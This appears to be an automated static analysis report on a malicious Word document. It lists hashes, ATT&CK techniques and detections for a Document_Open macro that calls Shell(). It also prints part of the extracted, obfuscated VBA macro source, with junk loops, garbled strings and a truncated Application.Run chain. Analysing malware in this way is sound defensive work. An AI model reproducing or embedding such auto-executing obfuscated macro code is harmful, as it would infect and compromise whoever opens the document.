Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c4f987ddbe099488…

MALICIOUS

Office (OOXML)

145.1 KB Created: 2019-01-09 18:39:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2019-01-20
MD5: b3f54bc65ea650c269e3d28cc20f1f06 SHA-1: be8ad7e5fa85f95b1747dd5933777c059e3d948d SHA-256: c4f987ddbe099488c8ebd9aa0bbea493a2c168e55c423a82b841e0f22499c553
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA project with a Document_Open macro. This macro triggers a Shell() call, indicating an attempt to execute arbitrary commands, likely for downloading and running a secondary payload. The presence of VBA macros and the execution of Shell() are strong indicators of malicious intent.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 33249 bytes
SHA-256: 3c1cf856b0058c7d0d5302e6a1de5e0167418bf254541aa10967a631794fde94
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Document_Open()
Call nbizvxhrrbsppibwc
End Sub

Private Sub nbizvxhrrbsppibwc()


Dim vxemvbaasddbjsafbhksvfsprrjvjsdrwp As Date
Dim zmwmxfbrayqvmkdhxgduqpapieziudzgwx
Dim riomkrkorxlareqrrcbimgetfsxxzjzovej
If 0 = 23 Then
Else
Dim vidpdddwhdxwhds

Dim rnsvhlnnklhqhcjzgahkohqqcryasozpeyr

Dim mjclofsjrlflwpm As Date

Dim fsykrlfqnldbiz
Dim odokjvayqcutqpfx
Dim nhg



mjclofsjrlflwpm = 15
Do While 992 < 4
   Select Case usbncmuybsvmyrzvhnqstoksyztpgn
            Case " ¿â梵êËà®�é??ÒÚ¡", "¦¸íö?Áã¼Î®?â�?Åà?»ä", "?Âèñ?¹îÊÙ´?â©?Öç¤Èêð¤´âÃѵ?ï??"
                 wbtxfrnvrxjm = "©Ëîå?"
            Case "?Æìî", "­¹éê?Ã"
                 suffix = "¦Ëãì?ÃßÀÖ©?⧧×ݧÊÜ"
            Case "¥´ãò?»òÈÚ«?ò??ÆꦷÝé?", "?¾çó?±ëÄЮ?"
                 wbtxfrnvrxjm = "¨ºåæ?°à¼Ü¯?ìª?Ñá¦Áæá?±ðÁ×¢?Ý?§×Ú�º"
            Case Else
                 voyscvmfagfybwvzhqopx = "gxkmtsktniqqtqaavxxfhzgofrynovuuz"
    End Select
Dim lbtkanxhpuuk
Dim xhkapnhdgvetjlfvtoarwomrzcluihtm
Dim iowxgmbdvyggelbtagje
Exit Do
Randomize
Loop

Dim pzkazcza As Date

Dim ddzr
Dim nhhhdlisnpgyutqorwqwifccutb
Dim oxrufcejkuvdfey



pzkazcza = 42
Do While 940 < 8
   Select Case jbehorqitmqsbdkfebchunsjxuxy
            Case "¤¼âæ", "?»Ûâ?¼å½à¨ ñ??ÀÜ£¹êö?»éÎÍ´?â", "?Ãëê?ºÞÌÍ®�ë?£Øá©Äèò¡ÈðÅ"
                 pejpjizehrygucejfntuctyluatjjhl = "?¶åä?¸ßÇÔ³?ê??Ïã?¹èä?´âÂѦ?ߣ"
            Case "­³òâ?ÈäÆÜ£?ì??Æç?ÉÜí�ÀÞÉÊ??⣠Ùî?Ç", "?µÛ"
                 suffix = "§ºòñ?Ãé·ß©?ã?¡Èß ÈÜß?²ê¶Ò±�ã¡?Íê¦Âî"
            Case "?Éìã�ÀöÂÊ´?é­?ÆÕ?Ëé㤳ã¼Ï", "?¹ìö£"
                 pejpjizehrygucejfntuctyluatjjhl = "?ÁÛê¢ÄæÆË¥?ì�©×"
            Case Else
                 bwhxnnhtvenizn = "tqmybtooxplptzikc"
    End Select
Dim omcriaqrrxdqiwrzmbnbsgcvsmw
Dim kyjxwgxyityjbyijcuuaelthup
Dim qzwemdzyus
Exit Do
Randomize
Loop

Dim plnpxjrbpfwcka As Date

Dim fdklxrbmuuujecv
Dim tvxwbifxcmrzctabpduskqojz
Dim gsircsqwnulkn



plnpxjrbpfwcka = 80
Do While 589 < 4
   Select Case ljiaokhawuyynrvkcpvoqusxo
            Case "ª¸èá?¾ì»Õ¬?î??È", "¨·âð", "©Åôí?¯çÉγ?í¬?Îì?Áâå?"
                 izoqkaeyliwdtavmbxzgyhvvxixiri = "§Åèá?Âô¼Ù£?ó��×ê¢"
            Case "?ÆÜâ?´íÅÛ¡?ó ?Àê?·ñ磶éÂ", "�Êì餵ô"
                 suffix = "ª¼à"
            Case "?Ãòõ?ÁäÍÕ¥?ß«?ÔÖ?Ãäö?·ìÄË??ó¡", "?½îå�·"
                 izoqkaeyliwdtavmbxzgyhvvxixiri = "?ÉÞë?·ðËϳ?ç°�"
            Case Else
                 pgrbvu = "vwpdzpjjbcciyrnxdsuftta"
    End Select
Dim omwrgegjzfzcipmicdjgoczgja
Dim qbmiumqjlhfrjfivgdkpxqsmtjfpnqigerjy
Dim kvydxvyrxitezf
Exit Do
Randomize
Loop

Dim ylrefusvuedgiddkjqj As Date

Dim mrgpgxyqlcroavjcwhxhgacqblpwlw
Dim ldwnwqbynkjesatlxwrlwsshqlugl
Dim njfcs



ylrefusvuedgiddkjqj = 22
Do While 523 < 5
   Select Case fcdiqozukxfe
            Case "?ÈòߢÇì¾Õª?ò¨?Æ⥳Ûó�µÞºÑ¬?ß�?×é?¶â", "¡µÝò?¼ôÂݨ?Û¦¢ÐÛ¨µìô?¿äÉÏ??ë­", "?·æö¤ÇÞÄ"
                 esjes = "¡Êéì?¹ëÂà¡?â??Òà?ºó÷?¾ãÉÕ"
            Case "¨¿Þá�Àð¼Õ­?é??Ãì?½çè�ÀçÎÞ²", "?¹îí¤À÷·É®?ä£?Èë ÁÛß ¯îÄʦ"
                 suffix = "¢Äíõ?¾õÌÝ¢?í?£Èã­¼ïñ�¯òÂÜ"
            Case "¤¶àæ?Æí»Þ", "¥¼Üô?µßÌÛ¥?æ?¥ÂÕ¥Âßé"
                 esjes = "«¿òõ?ÃßÎÇ´?ê©?ÁÞ?¿ßð?ÁôÁѲ?éª?Âê?"
            Case Else
                 pelqwuirkghgh = "umstzfabvyarjkrwmegbqqkqlo"
    End Select
Dim hynyokwelpxpkwmapcsezztyewyccgsr
Dim wlkavjqzumwbniodmiuacwfotsltc
Dim ejdcbpphio
Exit Do
Randomize
Loop



End If




If 9 = 8 Then
Dim rmuvlrljlnhsykumoyv
Else
Dim hjyelxlszrpmhotwgmrevhrun

Dim fjxaibqnzdu As String
fjxaibqnzdu = "AwlHcaYn"

Dim teukgnasclimvbqndwmsepuereraam As String
teukgnasclimvbqndwmsepuereraam = "mEhZIWu"

Dim mflwnzlhe As String
mflwnzlhe = "."

Application.Run fjxaibqnzdu & mflwnzlhe & teukgnasclimvbq
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 70656 bytes
SHA-256: 9a650cba8a156a70d6b6a337afd76c1c7add66a720e198dae465e4b10cb9729d

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